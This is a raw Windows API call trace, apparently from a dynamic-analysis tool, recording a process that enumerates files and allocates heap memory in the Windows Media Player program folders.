FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.018] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0250.018] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655120) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f8a8 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168e278 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.019] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f8c8 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168e380 [0250.019] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.019] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0250.019] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f8e8 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168eab8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f908 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168edd0 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f928 [0250.020] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655120 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898f4b97, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x898f4b97, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f948 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657870 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f968 [0250.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168eed8 [0250.021] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.021] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0250.021] GetLastError () returned 0x12 [0250.021] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.022] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898f4b97, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x898f4b97, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0250.022] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0250.022] GetLastError () returned 0x12 [0250.022] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.022] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.023] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.023] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.023] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0250.023] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="")) returned 1 [0250.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.023] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.023] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.024] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.024] NtClose (Handle=0x1a8) returned 0x0 [0250.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.024] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.065] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.065] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0250.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f988 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168efe0 [0250.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5d00) returned 0x169db28 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16a93f8) returned 1 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f9a8 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f0e8 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f9c8 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f1f0 [0250.066] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.066] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1 [0250.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165f9e8 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f2f8 